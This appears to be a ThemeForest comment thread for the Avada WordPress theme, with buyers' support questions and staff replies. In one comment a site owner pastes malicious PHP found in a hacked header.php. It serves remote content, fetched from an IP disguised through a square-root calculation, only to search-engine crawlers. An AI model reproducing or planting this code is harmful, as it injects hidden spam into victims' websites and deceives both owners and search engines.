39357 comments found.
Hi there,
I found that there are some malicious script in the Avada theme file. I removed some but I’m worried about there are still some malicious script in the file. How can I reinstall the theme without changing any website layout and data?
Hello @SaintInnovative
I am afraid I do not get your query, we do not have any malicious code in our theme that is running its current version with 6.2.3 so please make sure that you are running our latest version and also reinstalling theme does not make any change on your Theme Options or content at all, if you still see any issues please contact our support team further.
Click Here To Create An Account & Get Avada Support
Thanks
-Ammar
I think my site got hacked and I find this script on the top of header.php, which is not the original file: <?php $botbotbot = ”...”.mb_strtolower($_SERVER[HTTP_USER_AGENT]);$botbotbot = str_replace(” ”, ”-”, $botbotbot);if ((strpos($botbotbot,”google”)) OR (strpos($botbotbot,”bing”)) OR (strpos($botbotbot,”yahoo”))){$ch = curl_init(); $xxx = sqrt(30976); curl_setopt($ch, CURLOPT_URL, “http://$xxx.31.253.227/cakes/?useragent=$botbotbot&domain=$_SERVER[HTTP_HOST]”); $result = curl_exec($ch); curl_close ($ch); echo $result;}?><?php include(“header-functions.php”); ?>
Hi
This does appear to be malicious code. I can suggest reinstalling the Avada theme. Please do refer the link here
If you require further assistance or have any further questions, please create a support ticket using the link below and our support team will gladly assist you
Click Here To Get Avada Support
We look forward to helping you!
Thank you, Shaminder
Having issues with the social media icons not showing. Any suggestion how to fix this?
Hi
I would request you to please clear the cache from Theme options,by going to WordPress admin panel dashboard → Avada → Theme Options → Performance and click on “Reset fusion caches”, Screenshot here -> https://prnt.sc/p4pq0z
Please clear all server and browser cache post this and re-check the front end of your site in an incognito window
Also please do check the documentation here
If you require further assistance or have any further questions, please create a support ticket using the link below and our support team will gladly assist you
Click Here To Get Avada Support
We look forward to helping you!
Thank you, Shaminder
Hi,
I purchased the theme and tried to install the demo but I had PHP limit errors. I tried to create an account on ThemeFusion (to create a support ticket), but I’m not receiving the confirmation email to verify my account.
We increased the PHP limits but I’m still receiving those errors. What should I do?
Hi there
We have resent your account info to the email address that you registered, also be sure to check the SPAM folder just in case.
Thank you kindly, MB
Good afternoon! I tried to register with you to get support, but nothing comes to the email, I tried to reset the password, similarly. I’ll ask here: In the process of automatically setting up woocoommerce, at the last step when choosing a theme an error appears: Failed to install the requested avada theme. An error occurred while invoking the theme API.
Hi,
Could you please try registering in a secondary browser and double check the email address you specify is valid or try a secondary email address?
If there are still issues, please let us know here and we can guide further.
Thank you. – Abbas
Hi there
If you ahve still not erecieved your email, please send an email to > support@theme-fusion.com and include your account info, we willl check it from there and get you set up.
Thank you kindly, MB
Hello—is it possible to disable sticky header on one page? (I have a shop that allows for an image upload to customize the product, but the sticky header gets in the way in that instance. Thanks!
Op
Hi,
I’m afraid we don’t have an option for disabling that on a particular page.
Thank you. – Abbas
I found that my website with avada https://www.kaladrian.com has issues with google, this code is generated in all pages:
”@context”: “//schema.org”and must be:
”@context”: “http://schema.org”how can I fix this?? I have tried to install another theme and it automatically changes this.
Hi
It would be difficult to assess/advise on the issue via the comments section. We would request you to please contact our support team to have your issue checked by them
As the Themeforest comments section is meant only for pre-sale questions and generalities, we are not able to provide detailed support here. Please create a support ticket using the link below and our support team will gladly assist and guide you
Click Here To Create An Account & Get Avada Support
Thank you, Shaminder
Can you help me guys creating a menu like this: https://prnt.sc/sj3u17 with your theme?
Hi
Currently we do not have an options to separate menu item. The current reference setup would be need a bit of customization
If you require further assistance or have any further questions, please create a support ticket using the link below and our support team will gladly assist you
Click Here To Get Avada Support
We look forward to helping you!
Thank you, Shaminder
Thanks for your quick reply! But not one confirmation mail arrived to my mailbox after registration to your support forum ;( ...
Hi there
We have resent your account info to the email address that you registered, also be sure to check the SPAM folder just in case.
Thank you kindly, MB
I need to add a language to an Avada website – one in Eng and one in French. Which translate plugin is compatible with the Fusion Slider, I used the qTranslate and the translator simply sticks to one language on both options? Please let me know which is easiest and compatible before i try other plugins. Thanks!
Hello @Designsofinewebsites
You can definitely do that in Avada, we are compatible with two very famous multi language plugins WPML and Polylang and you can read about both of them below.
WPML with Avada => https://bit.ly/2ThTyXz
Polylang with Avada => https://bit.ly/2XdHurM
We will be happy for you to be a part of this Amazing Community 
Thanks
-Ammar
I am not really a fan of either of those plugins and they are extremely complicated. Is there a way in which I can make the qTranslate plugin compatible with the Fusion slider
Hello There You can use qTranslate but I do not see that it has the capability to create multi language site, its simply a translation plugin but not a multilingual plugin as far as i know.
Thanks
-Ammar
Hi , Greetings!! i already bought this theme , and tried to make new Register at https://theme-fusion.com/ , but i can’t register , didn’t received any mail from your site to active my account, to submit new ticket Thanks For you Ahmed Taha
Hi Ahmed,
Could you please try registering in a secondary browser and double check the email address you specify is valid or try a secondary email address?
If there are still issues, please let us know here and we can guide further.
Thank you. – Abbas
Hi Dear , thanks for your replay …. i already tried another browser and i got this message “This username has been taken, please choose something unique. This email address has already been registered.” i thinks there is some issue at website automatic sending message for activation . for note i tried register with 2 different emails , and i checked spam and junk folder , didn’t receive any message
Hi
I would request you to please get in touch with us via the email ID here
Kindly share a reference screenshot of the current comment so that we can identify your issue/relevant email
We look forward to helping you!
Thank you, Shaminder
Hi – I’m a two tome purchaser of your Avada theme and am quite happy with it. However, I’ve been trying to submit a Support Ticket and the system keeps erring with a “Failed Submission” message. I’ve filled every field, have tried four times on Safari and Chrome. Can you help? Thanks!
Hello @mshaul
I am not able to find any ticket from this username but there is no issue with our ticket creation link, the tickets are coming up just fine and good however if you are having issues please send us your purchase code along with the issue to support@theme-fusion.com and we will check this out for you right away.
Thanks
-Ammar
Hello I have multiple attributes on the product page. Once the customer has selected one of the attributes, it negates them having to choose another attribute as they are not relevant. However the customer is unable to add to basket having only selected the one relevant attribute as it wanting them to select all product options. How do change this that the customer only needs to select one of the attributes and add it to there basket.
Hello @theroyds
It will not be possible to provide you with the precise assistance on what might be causing this issue as we will need to take a closer look at your setup, can you please create a support ticket with our team and we will gladly look into this for you.
Because the Themeforest comments section is meant for pre-sale inquiries and generalities only, please do create a support ticket using the link below and our team will gladly assist you
Click Here To Create An Account & Get Avada Support
Thanks
-Ammar
Hi,
Thanks for your awesome theme.
We’ve an issue. Here we’re displaying our portfolio items- https://gollaplasticsurgery.com/staff
And we want to display unlimited items under “Medical/Wound Care”. So Here I have set “-1” – http://prntscr.com/sii2m2 and Settings→Reading – http://prntscr.com/sii4em but it’s not showing all portfolios.
Can you help us to fix it, please?
Thanks, Mofi
Hello @ThemePackNet
We are only allowed to provide support to verified buyers. Right now your current account does not have the buyers badge. We can assist you with these questions, simply signup at our support center and then post up a new topic. A purchase verification is required to signup.
Because the Themeforest comments section is meant for pre-sale inquiries and generalities only, please do create a support ticket using the link below and our team will gladly assist you
Click Here To Create An Account & Get Avada Support
Thanks
-Ammar
I’m trying to update from Avada 3.9 but can’t find the 3.9.4 files. My support login isn’t working either (nor is password retrieval – any help where I can access these files for my purchase?
Hi
You should be able to access the latest copy from the themeforest account. However, for a stepped update, the older version are present on our following page, Screenshot here
If you are having issues with your login on Avada then we will pass this info to our senior team and they would get back to you shortly
We look forward to helping you!
Thank you, Shaminder
Thanks. Frustrating since the site is DOA! 
HI there
Send us an email to > support@theme-fusion.com and include a link to this comment so that we can identify you, we will assist you from there.
Thank you kindly, MB
Hi, I purchased the item last year around September, I havent use it for quiet a while, when I tried to use it yesterday it seems all the theme has gone from my website and when I try to reinstall it it always says unauthorized, how does that happen? Is the support exired means to the end of the theme?
Hi
Even if the support for the theme has expired, it will not prevent you from installing the theme (as you have ownership of the theme for your site)
Can you let us know how have you tried to install the theme?. Please do ensure you have referred our documentation here, https://theme-fusion.com/documentation/avada/install-update/how-to-install-avada-via-wordpress/
We look forward to helping you!
Thank you, Shaminder
Hello Image before – after element on Fusion builder not compatible with Learndash focus mode. the image invisible. Another way I try to test learndash with elementor , it work! visible. I’m test to use Elementor in Avada theme It’s work but Fusion builder not… How to fix it? Thnak you.
Hello @StopsJeep
Because the Themeforest comments section is meant for pre-sale inquiries and generalities only, please do create a support ticket using the link below and our team will gladly assist you
Click Here To Create An Account & Get Avada Support
Thanks
-Ammar
Hi,
I am just finishing off a woocommerce. Within each product title I have a span class to make a certain 2 letters a different color and be bold. It all works perfectly but on the /checkout/order-recieved page the product name it shows the
When i deactivate Avada it shows perfectly.
Thanks” />
it shows the span code, for some reason it deleted half the first comment
Hello,
As this is not our official support channel and is meant for pre-sale / general queries, I suggest creating a support ticket here -> https://theme-fusion.com/support/ – and our support will be glad to assist and guide you How to register for support -> https://theme-fusion.com/avada-doc/getting-started/avada-theme-support
Thank you. – Abbas
Hi, I opened one 2 days ago and still no reply.
Hi there
A member of our team will be replying to your support ticket shortly. In terms of support, please do see our support policy > http://bit.ly/2mCfex2
Reply times can vary from time to time and be up to 24 hours Monday – Friday and up to 48 hours on weekends, Sat-Sun. but is usually faster than that.
Thank you kindly, MB
Hello, I use your theme for a web directory that users can uploading content, So how to limit title length that showing on the webpage?
Hi,
As this is not our official support channe, I suggest creating a support ticket here -> https://theme-fusion.com/support/ – and our support will be glad to assist and guide you How to register for support -> https://theme-fusion.com/avada-doc/getting-started/avada-theme-support
If the change you’re asking for is related to the a 3rd party plugin you’re using, you can talk to the plugin’s developers / support team.
Thank you. – Abbas
I can’t create / edit a page, this error appears.
Parse error: syntax error, unexpected ’’[fusion_builder_container hun’ (T_ENCAPSED_AND_WHITESPACE) in /home/USER/public_html/wp-content/uploads/fusion-builder-avada-pages/influencer.php on line 19
Hello @mandiriarthasolusi
We will need to take a closer look at your setup but can you please try and reset the fusion cache from Avada > Theme Options > Performance tab, if the issue persist please open a support ticket and we will gladly look into that for you.
Because the Themeforest comments section is meant for pre-sale inquiries and generalities only, please do create a support ticket using the link below and our team will gladly assist you
Click Here To Create An Account & Get Avada Support
Thanks
-Ammar
hello i will get your theme avada, can you please help me member login separate store entrance separate how can I do it, very important guide advertisement market place Can I publish on a single website. thanks
Hi
Currently Avada does not have a membership feature in the site. This will need a third party plugin or custom code. You can refer our article here, https://theme-fusion.com/wordpress-membership-plugins/
A single copy of the theme can be used only on a single domain
We look forward for you to be a part of the fastest growing theme community
Thank you, Shaminder
i cannot remove demo called avada classic shop its for more than 1 hour in ( removing sliders ) thats insane need help please
Hi
You can uninstall any demo by going to WordPress admin panel dashboard → Avada → Demo. Click on the installed a demo and it will show and option to “remove” the demo
If you require further assistance or have any further questions, please create a support ticket using the link below and our support team will gladly assist you
Click Here To Get Avada Support
We look forward to helping you!
Thank you, Shaminder
